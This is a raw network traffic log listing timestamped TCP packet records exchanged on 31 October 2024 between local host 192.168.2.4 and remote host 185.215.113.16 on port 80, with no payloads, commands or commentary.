Oct 31, 2024 03:04:20.327513933 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.327543020 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.327750921 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.327786922 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.327799082 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.327831030 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.327831030 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.327850103 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.327861071 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.327871084 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.327888012 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.327899933 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.327938080 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.327974081 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.328697920 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.328707933 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.328720093 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.328764915 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.328764915 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.363811016 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.363859892 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.363895893 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.363903999 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.363930941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.363941908 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.363943100 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.363965034 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.363980055 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.363998890 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.364028931 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.364032984 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.364069939 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.364089012 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.364341974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.364396095 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.364435911 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.364526033 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.364533901 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.364551067 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.364562035 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.364597082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.364597082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.364784002 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.364871979 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.364872932 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.364976883 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.409656048 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.409668922 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.409724951 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.409957886 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.409975052 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.410006046 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.410049915 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.443841934 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.443855047 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.443861008 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.443871975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.443969965 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.446074963 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446094990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446105957 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446135044 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.446160078 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.446265936 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446278095 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446288109 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446342945 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.446342945 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.446345091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446357012 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446407080 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.446866989 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446877956 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446890116 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446930885 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.446930885 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.446948051 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446959019 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446970940 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.446984053 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.447006941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.447006941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.447040081 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.447742939 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.447753906 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.447765112 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.447798014 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.447834969 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.482610941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.482640028 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.482651949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.482671976 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.482676029 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.482712030 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.482743025 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.482904911 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.482916117 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.482928038 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.482939959 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.482958078 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.483022928 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.483334064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.483350992 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.483362913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.483376026 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.483386993 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.483412027 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.483412027 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.483453989 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.528247118 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.528307915 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.528352022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.528362989 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.528410912 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.528429031 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.528459072 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.528526068 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.562375069 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.562388897 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.562400103 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.562441111 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.562484026 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.565037966 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565058947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565073013 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565092087 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.565107107 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.565115929 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.565185070 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565196037 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565207005 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565218925 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565233946 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.565257072 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.565527916 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565571070 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565582991 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.565638065 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.565665007 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565675974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565685987 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565697908 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.565717936 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.565742970 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.566107035 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.566135883 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.566145897 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.566159964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.566174984 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.566206932 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.566226006 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.566236973 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.566243887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.566303015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.601228952 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.601284981 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.601311922 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.601321936 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.601355076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.601357937 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.601368904 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.601381063 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.601392031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.601406097 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.601438046 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.601454020 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.601941109 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.601999998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.602010012 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.602020025 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.602046013 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.602046013 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.602082014 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.602389097 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.602400064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.602411032 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.602456093 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.602456093 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.647336006 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.647349119 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.647360086 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.647435904 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.647459030 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.680955887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.680968046 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.680978060 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.681040049 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.681077957 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.683527946 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.683599949 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.683614016 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.683623075 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.683645964 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.683665037 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.683680058 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.683691978 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.683705091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.683713913 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.683716059 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.683743000 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.683743954 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.683762074 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.684176922 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.684205055 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.684215069 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.684246063 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.684248924 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.684248924 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.684263945 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.684299946 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.684679985 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.684696913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.684710026 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.684720993 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.684732914 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.684752941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.684792995 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.685267925 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.685282946 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.685293913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.685321093 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.685332060 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.685333014 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.685333014 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.685374975 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.719933987 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720057964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.720092058 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720104933 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720115900 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720127106 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720149994 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.720181942 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720196962 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.720223904 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720236063 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720247030 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.720268965 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.720282078 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.720292091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720302105 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720345020 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.720345020 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.720828056 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720839024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720850945 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720864058 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.720877886 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.720910072 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.765664101 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.765675068 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.765691996 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.765778065 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.765778065 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.799519062 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.799530983 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.799540997 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.799608946 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.799681902 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.801980972 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802089930 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802095890 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.802099943 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802148104 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802150965 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.802159071 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802215099 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.802401066 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802412987 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802422047 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802469015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.802469015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.802699089 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802709103 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802745104 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802756071 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802766085 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.802786112 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.802786112 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.802819014 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.803342104 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.803352118 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.803364038 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.803375959 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.803386927 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.803397894 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.803397894 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.803421021 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.803442001 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.804030895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.804085970 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.804112911 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.804157019 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.804163933 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.804191113 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.804202080 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.804210901 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.804244995 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.804244995 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.838444948 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.838465929 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.838479042 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.838490963 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.838504076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.838547945 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.838663101 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.838722944 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.838735104 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.838745117 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.838771105 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.838818073 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.839029074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.839040995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.839051008 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.839088917 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.839133978 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.839303017 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.839320898 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.839330912 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.839364052 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.839364052 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.884385109 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.884438038 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.884454966 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.884458065 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.884468079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.884480000 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.884485960 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.884485960 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.884510040 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.884526968 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.918047905 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.918119907 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.918143988 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.918154955 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.918164968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.918220997 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.918256998 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.920692921 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.920705080 CET	80	63827	185.215.113.16	192.168.2.4
